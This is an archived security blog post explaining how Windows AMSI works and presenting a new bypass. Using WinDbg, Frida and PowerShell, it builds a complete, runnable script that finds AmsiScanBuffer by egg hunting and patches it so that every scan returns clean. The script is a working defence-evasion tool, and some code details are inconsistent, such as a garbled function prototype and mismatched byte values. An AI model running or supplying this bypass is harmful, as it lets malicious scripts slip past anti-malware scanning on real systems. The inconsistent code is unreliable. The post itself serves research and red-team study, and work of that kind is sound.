Archive of https://www.contextis.com/en/blog/amsi-bypass from 12 JUN 2019

Table of contents

Introduction

AMSI stands for Anti-Malware Scan Interface and was introduced in Windows 10. The name is reasonably self-explanatory; this is an interface that applications and services are able to utilise, sending “content” to an anti-malware provider installed on the system (e.g. Windows Defender).

Many pentesters conducting scenario-based assessments or digital-based Red Team assessments have most likely encountered AMSI and are familiar with its capabilities. AMSI provides increased protection against the usage of some modern Tools, Tactics and Procedures (TTPs) commonly used during attacks, as it provides increased visibility for anti-malware products. The most relevant example being PowerShell fileless payloads, which have been used extensively by both real-world threat actors and pentesters.

For this reason, AMSI is the subject of a lot of research and being able to bypass AMSI may be a deciding factor between a successful and unsuccessful attack. This blog post explains the inner workings of AMSI, and describes a new bypass technique.

Throughout the post the reader will be introduced to:

  • Basic Windows Internals knowledge (e.g. virtual address space, Windows API);
  • Basic Windows Debugger usage to analyse and disassemble a program (in our case powershell.exe);
  • Basic usage of Frida for function hooking; and
  • Basics of PowerShell scripting

How AMSI Operates

As mentioned, AMSI allows services and applications to communicate with an installed anti-malware. To do that, AMSI is hooking, for example, the Windows Scripting Host (WSH) and PowerShell, in order to de-obfuscate and analyse the content being executed. This content is “caught” and sent to the anti-malware solution prior to its execution.

This is the list of all the components that are implementing AMSI, on Windows 10:

  • User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
  • PowerShell (scripts, interactive use, and dynamic code evaluation)
  • Windows Script Host (wscript.exe and cscript.exe)
  • JavaScript and VBScript

This is a representation of the AMSI architecture.

For example, when a PowerShell process is created, the AMSI Dynamic-Link Library (DLL) is mapped into the virtual address space of the process, which is the range of virtual addresses Windows is allocating and making available for the process. A DLL is a module that contains exported and internal functions that can be used by another module. Internal functions are accessible from within the DLL and exported functions are accessible by other modules and also from within the DLL. In our case, PowerShell will use exported functions from the AMSI DLL to scan user inputs. If considered harmless, the user input will execute, otherwise, the execution will be blocked and event 1116 (MALWAREPROTECTION_BEHAVIOR_DETECTED) will be logged.

Example of reported event (ID 1116) while trying an AMSI tampering method, in a PowerShell shell:

Please note that AMSI is not solely used for scanning scripts, code, command or cmdlets but can be used to scan any file, memory or stream of data such as strings, instant messages, pictures or videos.

Enumerating AMSI Functions

As mentioned, applications that implement AMSI are using AMSI’s exported functions, but which ones and how? And importantly, which functions are responsible for the detection and therefore the prevention of “malicious” content execution?

Two methods were used with the aim of obtaining a list of exported functions. Firstly, a rudimentary list of functions can be found from the Microsoft Documentation website:

  • AmsiCloseSession
  • AmsiInitialize
  • AmsiOpenSession
  • AmsiResultsMalware
  • AmsiScanBuffer
  • AmsiScanString
  • AmsiUninitialize

Secondly, the AMSI DLL can be debugged with software such as WinDbg, which can be used for reverse engineering, disassembling and dynamic analysis. In our case, WinDbg will be attached to a process that is running PowerShell, to analyse AMSI.

The following picture shows a list of exported and internal AMSI functions by using WinDbg. Note that the “x” command is used to examine a symbol. Symbol files are files that are created when compiling a program. Those files are not needed for the execution of the program, but they contain useful information in a debugging process, such as global and local variables and function names and addresses (which is the topic of this section).

Functions are now known; however this is not answering the most important question: which function or functions are involved in the detection and prevention of “malicious” content?

To answer this question, Frida will be used. Frida is a dynamic instrumentation toolkit used for application introspection and hooking, which means that it can be used to hook functions in order to analyse variables and values that are passed or returned by them.

Please note that the installation and the explanation of how Frida works is out of scope for this post; for further information, please use the official documentation. In our case, only the “frida-trace” tool will be used.

First of all, frida-trace will be attached to a running PowerShell process (left shell below) and all functions with a name that starts with “Amsi” are going to be hooked. The “-P” switch is used to specify a process Id, the “-X” switch is used to specify a module (DLL) and the “-i” switch is used to specify a function name, or in our case, a pattern.

Please note that “frida-trace” has to be executed (right shell below) with Administrator privileges.

Now that all these functions are hooked by Frida, it is possible to monitor what is called by PowerShell when, for example, typing a simple string. As shown below, both AmsiScanBuffer and AmsiOpenSession are called.

frida-trace is a powerful tool, because for each function analysed, a complementary JavaScript file is created. Within each JavaScript file two functions are present, “onEnter” and “onLeave”.

The “onEnter” function has three parameters: “log”, “args” and “state”, which are, respectively, a function used to display information to the user, the list of arguments passed to the function and a global object for inter-function state management.

The “onLeave” function has three parameters: “log”, “args” and “state”, which are, respectively, a function to display information to the user (same as onEnter), the returned value of the function and a global object for inter-function state management (same as onEnter).

For example, the default JavaScript file generated by Frida for the AmsiScanBuffer is as follows:

{
	onEnter: function (log, args, state) {
	    log('AmsiScanBuffer()');
	},
	
	onLeave: function (log, retval, state) { }
}

In our case, both AmsiScanBuffer and AmsiOpenSession functions’ JavaScript files can be updated according to their function prototype, in order to analyse arguments and returned values. A function prototype or function interface is the declaration of a function, which specifies the name of the function, the type signature, parameters and their type.

AmsiScanBuffer prototype:

HRESULT AmsiScanBuffer(
	HAMSICONTEXT amsiContext,
	PVOID buffer,
	ULONG length,
	LPCWSTR contentName,
	HAMSISESSION amsiSession,
	AMSI_RESULT *result 
);

AmsiOpenSession prototype:

HRESULT AmsiScanBuffer(
	HRESULT AmsiOpenSession(
	HAMSICONTEXT amsiContext,
	HAMSISESSION *amsiSession
);

AmsiScanBuffer JavaScript file (handlers\amsi.dll\AmsiScanBuffer.js) updated:

{
	onEnter: function (log, args, state) {
	    log('[+] AmsiScanBuffer');
	    log('|- amsiContext: ' + args[0]);
	    log('|- buffer: ' + Memory.readUtf16String(args[1]));
	    log('|- length: ' + args[2]);
	    log('|- contentName: ' + args[3]);
	    log('|- amsiSession: ' + args[4]);
	    log('|- result: ' + args[5] + "\n");
	  },
	
	  onLeave: function (log, retval, state) { }
}

AmsiOpenSession JavaScript file (handlers\amsi.dll\AmsiOpenSession.js) updated:

{
	onEnter: function (log, args, state) {
	    log('[+] AmsiOpenSession');
	    log('|- amsiContext: ' + args[0]);
	    log('|- amsiSession: ' + args[1] + "\n");
	},
	
	onLeave: function (log, retval, state) { }
}

By updating those files, it is now possible to have a deeper understanding of what is passed to these functions. As shown with the following picture, the user input is passed to the AmsiScanBuffer function through the buffer variable.

Based on this analysis, we can conclude that the AmsiScanBuffer is at least an important function with responsibility for the detection and therefore the prevention of “malicious” content.

Finding the Function’s Address

The bypass method is now narrowed to only one function, which is AmsiScanBuffer. In Windows systems, the LoadLibrary exported function from the Kernel32 DLL is used to load and map a DLL into the Virtual Address Space (VAS) of a running process and returns a handle to that DLL, which then can be used with other functions. If the DLL has already been mapped in the VAS of the process, which it has in our case (PowerShell is loading the AMSI DLL during the process initialisation), only a handle is returned.

The Windows API is a set of functions and data structures, exposed by different DLLs (e.g. Kernel32 or User32) used by Windows applications and services to do what they have to do (e.g. creating a file, opening a process or loading a DLL).

In order to get a handle of the AMSI DLL, the following PowerShell script can be executed:

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule

The GetProcAddress exported function from the Kernel32 DLL allows one to get the handle of an exported function or variable from a given DLL. In our case, this Windows API will be used to get the address of the AmsiScanBuffer or any other exported function within the AMSI DLL. This is what Rasta Mouse did originally; however, the AmsiScanBuffer, as well as other strings are now considered malicious and indicative of AMSI tampering. Consequently, another method is required.

The idea is to dynamically find the address of the AmsiScanBuffer function instead of using the GetProcAddress function to get it. To do that, an address in still required which will serve as a starting point in the VAS. At this point pretty much any exported function that does not contain the string “Amsi” can be used. In our case the DllCanUnloadNow was chosen.

The previous PowerShell script can now be updated with a call to the GetProcAddress function, in order to get the address of the DllCanUnloadNow function in the VAS of the process. This is what the following PowerShell script is doing.

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

Please note that due to Address Space Layout Randomization (ASLR), the address of the DllCanUnloadNow will be different at each system reboot. In this case, and until the system is rebooted, the address of the function is “140717525833824”. ASLR is a security feature that randomizes addresses in the VAS, to protect against guessable memory locations.

Furthermore, at every reboot of the system, ASLR will randomize the user space base address.

Egg Hunter

The address of the DllCanUnloadNow can be considered as an entry point into the VAS of the process. But how can the address of the AmsiScanBuffer be found?

In fact, it is possible to go through the entire VAS in search of a specific pattern. This technique is called an egg hunter. Originally, an egg hunter consist of parsing a wide region in memory in search of a two 4 bytes pattern (e.g. w00tw00t or p4ulp4ul), but in our case instead of 8 bytes this will be 24 bytes, the 24 first bytes of the AmsiScanBuffer function.

The WinDbg software can be used to disassemble the AmsiScanBuffer function in order to retrieve the instructions of the function. Note that the “u” switch is for disassembling a specified code in memory, here the AmsiScanBuffer from the AMSI DLL.

As shown in the picture above, the 24 first bytes of the function are: “0x4C 0x8D 0xDC 0x49 0x89 0x5B 0x08 0x49 0x89 0x6B 0x10 0x49 0x89 0x73 0x18 0x57 0x41 0x56 0x41 0x57 0x48 0x83 0xEC 0x70”.

Please note that the sequence to “hunt” must be unique; otherwise this technique will return a “random” address that does not correspond to the function address we are looking for.

Consequently, the previous PowerShell script can be updated, in order to search the unique sequence of 24 bytes in the VAS.

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32

Class Hunter {
    static [IntPtr] FindAddress ([IntPtr]$address, [byte[]]$egg) {
        while ($true) {
            [int]$count = 0

            while ($true) {
                [IntPtr]$address = [IntPtr]::Add($address, 1)
                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
                    $count++
                    If ($count -eq $egg.Length) {
                        return [IntPtr]::Subtract($address, $egg.Length - 1)
                    }
                } Else { break }
            }
        }

        return $address
    }
}

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

[byte[]]$egg = [byte[]] (
    0x4C, 0x8B, 0xDC,         # mov     r11,rsp
    0x49, 0x89, 0x5B, 0x08,   # mov     qword ptr [r11+8],rbx
    0x49, 0x89, 0x6B, 0x10,   # mov     qword ptr [r11+10h],rbp
    0x49, 0x89, 0x73, 0x18,   # mov     qword ptr [r11+18h],rsi
    0x57,                     # push    rdi
    0x41, 0x56,               # push    r14
    0x41, 0x57,               # push    r15
    0x48, 0x83, 0xEC, 0x70    # sub     rsp,70h
)
[IntPtr]$targetedAddress = [Hunter]:: FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address $targetedAddress"

[string]$bytes = ""
[int]$i = 0
while ($i -lt $egg.Length) {
    [IntPtr]$targetedAddress = [IntPtr]::Add($targetedAddress, $i)
    $bytes += "0x" + [System.BitConverter]::ToString([System.Runtime.InteropServices.Marshal]::ReadByte($targetedAddress)) + " "
    $i++
}
Write-Host "[+] Bytes: $bytes"

The FindAddress static method from the “Hunter” class is parsing the VAS by incrementing by the address passed in parameter to the method, which is the address of the DllCanUnloadNow function. Then, the method is using the ReadByte static method from the Marshal class to get the byte of the address provided and compare it to the bytes from the sequence to find. Finally, it returns the address of the function, if the sequence was found.

As shown in the picture above, the bytes found are exactly the first 24 bytes of the AmsiScanbuffer function, therefore, the AmsiScanBuffer was successfully and dynamically found using this technique.

Patching

Now that the address of the function can be discovered, the next step is to modify the instructions of the function, in order to block the detection of “malicious” content.

According to the Microsoft documentation, the AmsiScanBuffer function is supposed to return an HRESULT, which is an integer value that indicates the result or status of an operation. In our case, if the function succeeds, the function will return “S_OK” (0x00000000); otherwise an HRESULT error code will be returned.

The main objective of this function is to return whether or not the content to scan is “clean”. This is why the “result” variable is passed as a parameter of the AmsiScanBuffer function. This variable is typed as an “AMSI_RESULT”, which is an enum.

The prototype of the enum is as follows:

typedef enum AMSI_RESULT {
	AMSI_RESULT_CLEAN,
	AMSI_RESULT_NOT_DETECTED,
	AMSI_RESULT_BLOCKED_BY_ADMIN_START,
	AMSI_RESULT_BLOCKED_BY_ADMIN_END,
	AMSI_RESULT_DETECTED
};

During the execution of the function, the content to analyse will be sent to the anti-malware provider that will return an integer between 1 and 32762 (inclusive). The higher this integer is, the higher the risk is estimated. If the integer is greater or equals to 32762, the analysed content is considered malicious and is blocked. The AMSI_RESULT result variable will then be updated according to the returned integer.

By default the variable is in a clean state, therefore, if the instructions of the function are modified to never send the content to the anti-malware provider and if a “S_OK” HRESULT is returned, the content will always be considered as clean.

In assembly, the EAX (32-bit) and RAX (64-bit) always contains the returned value of a function; therefore, if the EAX/RAX register equals 0 and if the “ret” assembly instruction is executed, the function will just return an “S_OK” HRSULT and not send the content to the antimalware provider to analyse.

To do that, the following assembly code can be used:

xor eax, eax
ret

To patch the AmsiScanBuffer function, the first bytes have to be modified to “0x31 0xC0 0xC3” (hexadecimal representation of the above assembly instructions). However, prior to any modification, the region to modify needs to be read/writable; otherwise, any read or write access will result in an access violation exception. To change the memory protection of a region to modify, the VirtualProtect exported function from Kernel32 DLL can be used. This function will modify the memory protection of a specified region.

The following PowerShell snippet is using the VirtualProtect call to modify the memory protection of the first 3 bytes of the AmsiScanBuffer function.

# PAGE_READWRITE = 0x04
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null

Then, the “Copy” static method from the “Marshal” class can be used in order to copy (overwrite) given bytes to a given address. In our case, this static method will be used to apply our patch.

$patch = [Byte[]] (0x31, 0xC0, 0xC3) # xor eax, eax; ret
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)

Finally, the VirtualProtect function can be used, once again, to reinitialise to the original memory protection state.

$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]5, $oldProtectionBuffer, [ref]$a) |  Out-Null

By assembling all the pieces, the following, and final, PowerShell script can be executed in order to:

  • Get the handle of the AMSI DLL;
  • Get the address of the DllCanUnloadNow function;
  • Find the address of the AmsiScanBuffer function with an egg hunter technique;
  • Change the region to modify to read and write;
  • Apply the patch; and
  • Reinitialise the modified region to the original state.
Write-Host "-- AMSI Patch"
Write-Host "-- Paul L. (@am0nsec)"
Write-Host ""

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Kernel32

Class Hunter {
    static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
        while ($true) {
            [int]$count = 0

            while ($true) {
                [IntPtr]$address = [IntPtr]::Add($address, 1)
                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
                    $count++
                    If ($count -eq $egg.Length) {
                        return [IntPtr]::Subtract($address, $egg.Length - 1)
                    }
                } Else { break }
            }
        }

        return $address
    }
}

[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

If ([IntPtr]::Size -eq 8) {
	Write-Host "[+] 64-bits process"
    [byte[]]$egg = [byte[]] (
        0x4C, 0x8B, 0xDC,       # mov     r11,rsp
        0x49, 0x89, 0x5B, 0x08, # mov     qword ptr [r11+8],rbx
        0x49, 0x89, 0x6B, 0x10, # mov     qword ptr [r11+10h],rbp
        0x49, 0x89, 0x73, 0x18, # mov     qword ptr [r11+18h],rsi
        0x57,                   # push    rdi
        0x41, 0x56,             # push    r14
        0x41, 0x57,             # push    r15
        0x48, 0x83, 0xEC, 0x70  # sub     rsp,70h
    )
} Else {
	Write-Host "[+] 32-bits process"
    [byte[]]$egg = [byte[]] (
        0x8B, 0xFF,             # mov     edi,edi
        0x55,                   # push    ebp
        0x8B, 0xEC,             # mov     ebp,esp
        0x83, 0xEC, 0x18,       # sub     esp,18h
        0x53,                   # push    ebx
        0x56                    # push    esi
    )
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"

$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null

$patch = [byte[]] (
    0x31, 0xC0,    # xor rax, rax
    0xC3           # ret  
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)

$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null

As shown, AMSI is successfully bypassed.

Final Notes

The technique was tested against the following version of Windows:

PowerShell ArchitectureWindows OSWindows Version
64-bitMicrosoft Windows 10 Pro10.0.17763
32-bitMicrosoft Windows 10 Pro10.0.17763
64-bitMicrosoft Windows 10 Enterprise Evaluation10.0.17763
32-bitMicrosoft Windows 10 Enterprise Edition10.0.17763
64-bitMicrosoft Windows 10 Enterprise10.0.17763
32-bitMicrosoft Windows 10 Enterprise10.0.17763